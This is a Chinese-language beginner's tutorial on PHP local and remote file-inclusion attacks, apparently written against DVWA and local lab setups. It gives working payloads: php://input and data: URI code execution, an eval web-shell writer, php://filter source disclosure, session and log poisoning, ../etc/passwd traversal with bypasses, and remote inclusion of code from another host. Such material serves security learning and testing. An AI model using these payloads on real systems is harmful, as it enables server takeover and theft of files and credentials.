文件包含攻击初学者指南(LFI / RFI)

文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

来张图片压压惊

image.png

php中引起文件包含漏洞的4个函数:

include()、include_once()、require()、require_once()

区别如下:

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。


image.png

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。


image.png

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

<?php
    $file = $_GET['file'];
    include $file;
?>

在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>。则只需要访问

index.php?file=phpinfo.txt

即可成功解析phpinfo。


image.png

场景

具有相关的文件包含函数。
文件包含函数中存在动态变量,比如include $file;
攻击者能够控制该变量,比如 $file = $_GET['file'];

分类

文件包含分为:本地(LFI)/远程(RFI)包含

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On,重启apache,即可生效

两个配置选项均需要为On,才能远程包含文件成功。
另外一台需要开启apache

apt-get install apache2
 /etc/init.d/apache2 start
1.png

2.png

注:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
下面例子中测试代码均为:

<?php
    $file = $_GET['file'];
    include $file;
?>

allow_url_fopen 默认为 On
allow_url_include 默认为 Off
若有特殊要求,会在利用条件里指出。

PHP伪协议以及其他封装协议的利用

php://input

利用条件:

allow_url_include = On。
对allow_url_fopen不做要求。

<?phpinfo();?>

<?php system('whoami');?>

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['caidao']);?>")?>

包含姿势

index.php
?file=php://input

POST:
<? phpinfo();?>
image.png
命令执行
image.png

写入一句话木马,有写入的权限


image.png

image.png
php://filter

利用条件:无甚

姿势:

index2.php?file=php://filter/read=convert.base64-encode/resource=index.php

说说index2.php?file=php://filter/read=convert.base64-encode/resource=index.php的含义
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

举个例子:


1.png
>>> import base64  //base64模块
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")  //解密这串加密的字符串
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

其他姿势:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。


image.png

phar协议&&zip协议

利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测此方法使用要
php版本大于等于php5.3.0

phar://

利用条件:

php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:


1.png

指定绝对路径

index2.php?file=phar://C:\phpStudy\WWW\FileInclusion\phpinfo.zip\phpinfo.txt

或者使用相对路径(这里phpinfo.zip就在当前目录下)

index2.php?file=phar://phpinfo.zip/phpinfo.txt
2.png
zip://

关于zip://

php版本大于等于php5.3.0

姿势:
构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

index2.php?file=zip://C:\phpStudy\WWW\FileInclusion\phpinfo.zip%23phpinfo.txt
3.png

注:若是使用相对路径,则会包含失败。

data:URI schema

利用条件:

php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On

姿势

/index2.php?file=data:text/plain,<?php phpinfo();?>
4.png
执行命令:
index2.php?file=data:text/plain,<?php system("whoami");?>
5.png
姿势二:
/index2.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

6.png

执行命令
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

包含session

利用条件:session文件路径已知,且其中内容部分可控。
思路:结合phpmyadmin,因为phpmyadmin每次登录时,会带上session

image.png

session文件的绝对路径可在phpinfo中查看,session.save_path


image.png

常见的php-session存放位置还有这几个:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

使用以下命令可查看到session文件中的登录信息

strings /var/lib/php5/sess_258c1be1b00d080bddc58d2896460542facb6f1f | grep root
image.png

登录phpmyadmin时,用户名输入一句话木马,再包含session文件,可getshell

<?php @eval($_POST['root']); ?>
image.png

image.png

使用菜刀连接
http://192.168.1.127/dvwa/vulnerabilities/fi/?page=../../../../../../var/lib/php5/sess_6cf7f14ec1e50c6b2f6d4a8ec671e7aaf92c6c4c

?????,需要解决,能写入一句话木马到session中,phpinfo也可以正常访问,但是菜刀就是连不上200ok;纠结,还在解决中

感谢,大爷的细心指导,问题已经解决了。

解决方式:
在浏览器里有你的cookie所以你可以直接去访问对应的文件包含页面,用菜刀的话是没有cookie的所以你没有办法去访问文件包含页面也就是fi那个页面。所以说会自动跳转到登录页面,显示200ok

加上cookie之后在重新连接,成功连接

image.png

包含日志文件

当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。
利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell。其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。
利用的条件:

  • 1、日志的物理存放路径
  • 2、存在文件包含漏洞

获取日志存放路径

(一)日志默认路径

(1) apache+Linux日志默认路径

    /etc/httpd/logs/access_log

或者

    /var/log/httpd/access_log

(2) apache+win2003日志默认路径

    D:\xampp\apache\logs\access.log
    D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

    C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

    %SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件

    日志文件在用户安装目录logs目录下
            以我的安装路径为例/usr/local/nginx,
            那我的日志目录就是在/usr/local/nginx/logs里

首先,我们直接使用浏览器来构造“php一句话报错请求信息”服务自动记录此一句话信息到服务器日志文件中;
具体构造内容:

 http://127.0.0.1:81/FileInclusion/index2.php?file=<?php @eval($_POST[c]);?>

(2)测试结果:失败
利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析”

image.png

(3)失败原因分析
一句话写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,消息中包含依据。报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码:
日志文件内容如上图所示:

http://127.0.0.1:81/FileInclusion/index2.php?page=%3C?php%20@eval($_POST[c]);?%3E
               "<"  ----> 大于号被转码为了 %3C
                ">"  ----> 小于号被转码为了 %3E
                " "   ----> 空格被转码为了 %20

最后写入到日志文件中的一句话就变成了 %3C?php%20@eval($_POST[c]);?%3E。

(4) 失败总结
浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
(5)构造一句话,写入日志文件测试记录
burpsuit 代理抓包改包构造一句话写入日志文件
(1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。


image.png

(2) 测试记录:成功
通过文件包含直接访问服务日志文件,发现一句话被执行成功;


image.png

在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log,还可以包含Apache的错误访问日志

首先,构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中

http://127.0.0.1:81/FileInclusion/index2.php%3C?php%20@eval($_POST[c]);?%3E

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。


image.png

对所截获的包进行修改,点击go,返回403报错,服务器错误日志文件成功将此次记录到error.log中
我们根据日志的路径构造访问路径:

http://127.0.0.1:81/FileInclusion/index2.php?file=C:/phpStudy/Apache/logs/access.log

客户端连接,获取一句话木马

SSH log

利用的条件:

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:
用ssh连接:
参考这个网站

包含临时文件

参考这个网站

绕过姿势

本地文件包含的绕过

(1)%00 截断
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00
(2)编码%2e%2e%2f
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

远程文件包含的绕过

(1)?号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?
(2)#号
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23

https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
https://vulhub.org/#/environments/php/inclusion/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,511评论 1 330
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,495评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,595评论 0 225
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,558评论 0 190
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,715评论 3 270
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,672评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,112评论 2 291
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,837评论 0 181
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,417评论 0 228
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,928评论 2 232
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,316评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,773评论 2 234
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,253评论 3 220
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,827评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,440评论 0 180
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,523评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,583评论 2 249

推荐阅读更多精彩内容